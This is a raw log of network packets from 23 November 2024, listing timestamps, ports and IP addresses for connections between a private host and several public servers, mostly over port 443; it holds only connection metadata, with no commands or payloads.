Nov 23, 2024 02:55:35.675997972 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.676013947 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.676018000 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.676037073 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.676105022 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.676110029 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.676124096 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.676148891 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.676152945 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.676186085 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.676263094 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.676296949 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.679680109 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.679778099 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.684662104 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:35.800889969 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.800919056 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.801110983 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.801127911 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.802728891 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.809025049 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.809045076 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.809129953 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.809137106 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.809174061 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.815371990 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:35.815720081 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:35.815752029 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:35.816248894 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.816266060 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.816333055 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.816339970 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.816395044 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.816468000 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:35.816495895 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:35.816531897 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:35.816540956 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:35.816562891 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:35.816586971 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:35.817497969 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:35.821197987 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:35.821291924 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:35.821379900 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:35.824444056 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.824461937 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.824528933 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.824536085 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.824968100 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.832611084 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.832639933 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.832686901 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.832693100 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.832722902 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.832746029 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.840267897 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.840297937 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.840342999 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.840348959 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.840395927 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.848547935 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.848573923 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.848627090 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.848634005 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.848676920 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.854356050 CET	49837	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:35.855703115 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.855729103 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.855771065 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.855786085 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.855817080 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.855833054 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.856210947 CET	49838	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:35.856282949 CET	443	49838	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:35.856369972 CET	49838	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:35.857605934 CET	49834	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:35.858742952 CET	49843	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:35.858762980 CET	443	49843	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:35.858829975 CET	49843	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:35.860439062 CET	49836	443	192.168.2.6	162.159.61.3
Nov 23, 2024 02:55:35.860718966 CET	49848	443	192.168.2.6	162.159.61.3
Nov 23, 2024 02:55:35.860728979 CET	443	49848	162.159.61.3	192.168.2.6
Nov 23, 2024 02:55:35.860960007 CET	49848	443	192.168.2.6	162.159.61.3
Nov 23, 2024 02:55:35.861162901 CET	49838	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:35.861200094 CET	443	49838	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:35.861272097 CET	49843	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:35.861284018 CET	443	49843	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:35.861782074 CET	49848	443	192.168.2.6	162.159.61.3
Nov 23, 2024 02:55:35.861793995 CET	443	49848	162.159.61.3	192.168.2.6
Nov 23, 2024 02:55:35.867335081 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:35.867594004 CET	443	49820	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:35.868272066 CET	49820	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:35.868283033 CET	443	49820	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:35.868894100 CET	49820	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:35.868897915 CET	443	49820	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:35.895360947 CET	443	49837	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:35.903338909 CET	443	49834	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:35.903390884 CET	443	49836	162.159.61.3	192.168.2.6
Nov 23, 2024 02:55:35.919418097 CET	443	49821	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:35.933201075 CET	49821	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:35.933218002 CET	443	49821	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:35.933885098 CET	49821	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:35.933890104 CET	443	49821	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:35.958897114 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:35.958919048 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.019789934 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.019814968 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.019895077 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:36.019917011 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.020276070 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:36.026942968 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.026962042 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.027015924 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:36.027024031 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.027064085 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:36.035202026 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.035245895 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.035298109 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:36.035305977 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.035346985 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:36.035370111 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:36.043309927 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.043338060 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.043374062 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:36.043380976 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.043406963 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:36.043422937 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:36.050551891 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.050573111 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.050625086 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:36.050632954 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.050663948 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:36.050673008 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:36.059181929 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.059201002 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.059252024 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:36.059259892 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.062716961 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:36.066437960 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.066458941 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.066536903 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:36.066545010 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.066983938 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:36.069529057 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:36.074600935 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.074619055 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.074673891 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:36.074683905 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.074748039 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:36.139300108 CET	443	49822	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:36.139734983 CET	49822	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:36.139755011 CET	443	49822	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:36.140330076 CET	49822	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:36.140336990 CET	443	49822	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:36.228669882 CET	49849	443	192.168.2.6	162.159.61.3
Nov 23, 2024 02:55:36.228722095 CET	443	49849	162.159.61.3	192.168.2.6
Nov 23, 2024 02:55:36.228833914 CET	49849	443	192.168.2.6	162.159.61.3
Nov 23, 2024 02:55:36.229204893 CET	49849	443	192.168.2.6	162.159.61.3
Nov 23, 2024 02:55:36.229221106 CET	443	49849	162.159.61.3	192.168.2.6
Nov 23, 2024 02:55:36.230273008 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.230295897 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.230366945 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:36.230386019 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.230568886 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:36.237905025 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.237925053 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.238008976 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:36.238017082 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.238193035 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:36.245999098 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.246021986 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.246098042 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:36.246104956 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.246140003 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:36.253211975 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.253233910 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.253277063 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:36.253283024 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.253328085 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:36.256334066 CET	49851	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:36.256365061 CET	443	49851	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:36.256448030 CET	49851	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:36.256983042 CET	49851	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:36.256994963 CET	443	49851	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:36.261445999 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.261482000 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.261550903 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:36.261557102 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.261604071 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:36.269077063 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.269097090 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.269179106 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:36.269186020 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.269223928 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:36.270803928 CET	49852	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:36.270823002 CET	443	49852	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:36.271866083 CET	49852	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:36.272079945 CET	49852	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:36.272093058 CET	443	49852	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:36.277348042 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.277364969 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.277426958 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:36.277436972 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.277497053 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:36.282042027 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.282078981 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.282130003 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.282131910 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:36.282181978 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:36.336777925 CET	49853	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:36.336832047 CET	443	49853	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:36.336976051 CET	49853	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:36.418306112 CET	443	49820	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:36.418366909 CET	443	49820	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:36.418416023 CET	443	49821	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:36.418447971 CET	49820	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:36.418495893 CET	443	49821	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:36.418550968 CET	49821	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:36.418615103 CET	49820	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:36.418615103 CET	49820	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:36.418631077 CET	443	49820	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:36.418641090 CET	443	49820	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:36.418823957 CET	49821	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:36.418853998 CET	443	49821	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:36.418872118 CET	49821	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:36.418879986 CET	443	49821	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:36.421536922 CET	49859	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:36.421561956 CET	443	49859	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:36.421634912 CET	49860	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:36.421704054 CET	49859	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:36.421710014 CET	443	49860	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:36.421854019 CET	49859	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:36.421869040 CET	443	49859	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:36.421894073 CET	49860	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:36.422677994 CET	49860	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:36.422708035 CET	443	49860	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:36.450790882 CET	49864	443	192.168.2.6	18.165.220.110
Nov 23, 2024 02:55:36.450805902 CET	443	49864	18.165.220.110	192.168.2.6
Nov 23, 2024 02:55:36.450979948 CET	49864	443	192.168.2.6	18.165.220.110
Nov 23, 2024 02:55:36.451392889 CET	49864	443	192.168.2.6	18.165.220.110
Nov 23, 2024 02:55:36.451404095 CET	443	49864	18.165.220.110	192.168.2.6
Nov 23, 2024 02:55:36.539670944 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:36.539741993 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:36.549297094 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.549348116 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.549396992 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:36.549426079 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.564367056 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.564436913 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:36.564446926 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.573990107 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.574093103 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:36.574101925 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.575145006 CET	49853	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:36.575196028 CET	443	49853	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:36.585572004 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.585691929 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:36.585700989 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.590616941 CET	443	49822	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:36.590694904 CET	443	49822	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:36.590735912 CET	49822	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:36.591135025 CET	49822	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:36.591156006 CET	443	49822	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:36.591165066 CET	49822	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:36.591171026 CET	443	49822	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:36.591922045 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.591976881 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:36.591985941 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.594094038 CET	49867	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:36.594131947 CET	443	49867	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:36.594212055 CET	49867	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:36.594512939 CET	49867	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:36.594527960 CET	443	49867	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:36.643179893 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:36.643198967 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:36.661952972 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:36.666280985 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.670526028 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.670583010 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.670639038 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:36.670649052 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.670758963 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:36.679445982 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.738630056 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.738687038 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:36.738702059 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.742908001 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.742975950 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:36.742984056 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.753645897 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.753730059 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:36.753739119 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.767379045 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.767445087 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:36.767452955 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.780910969 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.780973911 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:36.780989885 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.794552088 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.794627905 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:36.794651031 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.808051109 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.808116913 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:36.808136940 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.820574045 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.820626020 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:36.820640087 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.822534084 CET	443	49834	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:36.822590113 CET	49834	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:36.832433939 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.832529068 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:36.832541943 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.835653067 CET	443	49836	162.159.61.3	192.168.2.6
Nov 23, 2024 02:55:36.835792065 CET	443	49836	162.159.61.3	192.168.2.6
Nov 23, 2024 02:55:36.835858107 CET	49836	443	192.168.2.6	162.159.61.3
Nov 23, 2024 02:55:36.835886002 CET	49836	443	192.168.2.6	162.159.61.3
Nov 23, 2024 02:55:36.843698025 CET	443	49837	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:36.843775988 CET	49837	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:36.844023943 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.844299078 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:36.844307899 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.856059074 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.856118917 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:36.856129885 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.867607117 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.867741108 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:36.867758036 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.879556894 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.879683018 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:36.879694939 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.891148090 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.891268969 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:36.891283035 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.919691086 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.919742107 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:36.919759035 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.924427986 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.924464941 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.924483061 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:36.924493074 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.924530983 CET	49819	443	192.168.2.6	172.217.19.225
